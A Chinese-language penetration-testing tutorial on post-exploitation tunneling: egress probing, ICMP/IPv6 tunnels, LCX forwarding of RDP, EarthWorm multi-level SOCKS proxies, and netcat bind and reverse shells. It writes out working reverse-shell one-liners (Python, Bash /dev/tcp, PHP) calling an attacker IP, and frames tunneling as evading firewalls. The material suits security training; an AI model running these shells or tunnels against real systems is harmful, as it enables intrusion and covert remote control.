前沿
本篇主要讲一些常见的隧道搭建方法,比较常见的lck端口转发,ew隧道,nc隧道都有复现,
下一篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置
技多不压身,学习渗透总要多学习一些方法,对于我们总是好的
若是文章有错误或者不足,请多多指正
隧道简介
隧道技术是我们在获取到web服务权限后做的事情,隧道技术常用余在访问受限制的网络环境中实现数据流动和非受信任的网络中实现安全的数据传输
在实战渗透过程中,各种安全设备会检查对外连接的情况,如果发现异常,会进行对通信的阻断。因此我们需要建立一个隐秘的隧道技术,能绕过端口屏蔽,穿透防火墙的安全设备,以此来达到我们渗透的目的
这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)
常见的隧道
网络层隧道:IPv6、ICMP、GRE等 传输层隧道:TCP、UDP、常规端口转发等 应用层隧道:SSH、HTTP、HTTPS、DNS等
一、探测内网服务器出网协议
首先我们需要判断内网的连通性,连通性是指判断是否正能上网。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)以及端口的通信情况 常见允许流量出口的有80、8080、443等一些常用端口
icmp协议
ping 外网ip地址或者域名
TCP协议
nc -zv 192.168.253.23 3306 //windows一样
HTTP协议
curl https://www.baidu.com
DNS协议
使用windows自带的DNS扫描命令nslookup
nslookup www.baidu.com
特殊
有一种情况是流量不能直接出来,需要进行内网代理
- 查看网络连接,判断是否存在与其他机器的8080 (不绝对)等端口的连接,可尝试运行ping -n 1 -a ip命令
2.查看内网中是否有主机名类似于"proxy”的机器。
3.查看IE浏览器的直接代理。
4.根据pac (代理自动配置)文件的路径(远程、本地),将其下载并查看。
5.执行如下命令,利用c urlT具确认
curl https://www.baidu.com //不通 curl -x proxy-ip:port www.baidu.com //通过
二、网络层隧道技术
在网络层隧道技术中,两个常用的隧道协议是IPv6和ICMP
但在搭建隧道的时候不会考虑网络层隧道,所以网络层的只做简单的介绍
IPv6
IPv6简介
IPv6是用来替代IPv4的一种新的IP协议。也被称为下一代互联网协议。
IPv6隧道技术是指通过IPv4隧道传送IPv6数据报文的技术。将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能通过IPv4,到达另一个IPv6上面。
IPv6隧道传输流程:
节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道 节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋 在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B 节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文
防御方法
了解ipv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤ipv6通信,提高主机和应用程序的安全性
ICMP隧道
ICMP隧道简介
建立ICMP隧道,将TCP/UDP数据封装在ICMP的ping数据包 中,从而穿过防火墙。
常用的ICMP隧道工具有1.icmpsh、2.pingTUnnel、3.icmptunnel、4.powershell icmp
防御方法
网络管理员会阻止ICMP通信进入站点,在出站方向 ICMP通信是被允许的,目前大多数的网络和边界设备不会过滤ICMP流量 使用ICMP隧道时会产生大量的ICMP数据包,可以通过wireshark进行ICMP数据包分析,已检测恶意ICMP流量
三、传输层隧道技术
LCX端口转发
LCX是一个比较经典的转发工具。端口转发有两个 一个是LCX一个是SSH。LCX与SSH不同的点是。LCX只能端口对端口转发,不能全局转发 但ssh可以
目标机器
上传lcx.exe并运行
Lcx.exe -slave VPS地址 4444 127.0.0.1 3389
命令的意思是把3389端口的所有数据转发到公网vps上
攻击者
Lcx.exe -listen 4444 5555
win+r,输入mstsc进行远程连接 vps的ip+5555端口就可以连接到目标机器的3389端口(需要关掉防火墙)
nc(netcat)隐藏隧道技术
kali自带,windows需要安装
有两种方式可以获得shell
- 正向Shell
- 反向Shell
正向客户端连接服务器,客户端向要获取服务器的Shell
反向:客户端连接服务器,服务器想要获取客户端的Shell
反向Shell通常用在开启了防护措施的目标及其上,例如防火墙过滤端口转发等
正向shell
攻击者连接目标主机。
上传nc64.exe
nc -Lvp 4445 -e /bin/sh //lInux命令 lInux只弹lInux的
nc64.exe -lvp 4445 -e c:\windows\system32\cmd.exe //wIndows命令
攻击者输入
nc64.exe 192.168.30.132 4445
可以查看,说明连接成功
反向shell
攻击者上开启监听端口
nc64.exe -lvp 4446 //此处无-e
目标主机
nc64.exe 192.168.30.135 4446 -e c:\windows\system32\cmd.exe #windows
nc 192.168.x.x 4446 -e /bin/sh #Linux
扩展
查看对方21端口上运行的信息和信息版本
nc -nv 目标ip 21
端口扫描
nc -v IP地址 80
80端口开启会显示 open
多端口扫描
nc64.exe -v -z IP地址 20-1024
端口监听
nc64.exe -l -p 192.168.253.23 80
特殊情况
在一般情况下,目标主机中是没有nc的,可以使用其他工具和编程语言来代替nc,实现反向连接, 方法很多,可以参考 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 我只举一些例子,更多请参看上面
Python反向 shell
攻击机监听4447端口
nc -lvp 4447
目标主机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.16",4447));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash反向Shell
攻击机
nc -lvp 4448
目标主机
bash -i >& /dev/tcp/192.168.253.16/4448 0>&1
PHP反向shell
攻击机
nc -lvp 4449
目标主机
php -r '$sock=fsockopen("192.168.253.16",4449);exec("/bin/sh -i <&3 >&3 2>&3");'
四、应用层隧道技术
EarthWorm(EW)
必须攻击者能访问到他的ip ,才能使用正向代理,否则需要使用反向代理
一级代理
正向
目标机器
ew -s ssocksd -l 888
攻击者
利用proxifier连接
win+r运行远程桌面连接
反向
实战思路
需要在vps上运行ew 目标主机去访问公网vps
公网VPS
ew -s rcsocks -l 1008 -e 888
内网机器
ew -s rssocks -d vps的ip -e 888
显示ok 说明连接成功
我们用proxifier去连接公网的vps 的端口(1008)
就能访问内网
远程控制
二级代理
环境
A:无公网IP,可以访问外网,无法访问内网资源
B:只能访问内网资源,无法访问外网
命令
VPS上:
ew -s lcx_listen -l 1080 -e 888
即在VPS中添加转接隧道,将1080端口收到的代理请求转发给888端口。
B主机执行,利用socksd方式启动999端口的SOCKS代理:
ew -s ssocksd -l 999
A主机执行,即将VPS的888端口和B主机的999端口连接起来:
ew -s lcx_slave -d VPS 的 IP 地址-e 888 -f B 主机-g 999
执行后运行代理工具全局即可!
三级网络环境
环境
VPS一个
A:无公网IP,可以访问外网
B:只能访问内网资源,无法访问外网,只能被A访问
C:可以被B访问并能访问核心区域
实战
在VPS上执行,将1080端口收到的代理请求转发到888端口:
ew -s rcsocks -l 1080 -e 888
在A主机上将VPS的888端口与B主机的999端口连接起来:
ew -s lcx_slave -d VPS -e 888 -f B主机 -g 999
在B主机上将999端口收到的代理请求转发到777端口:
ew -s lcx_listen -l 999 -e 777
在C主机上启动S0CKS5服务并反弹到777端口
ew -s rssocks -d B -e 777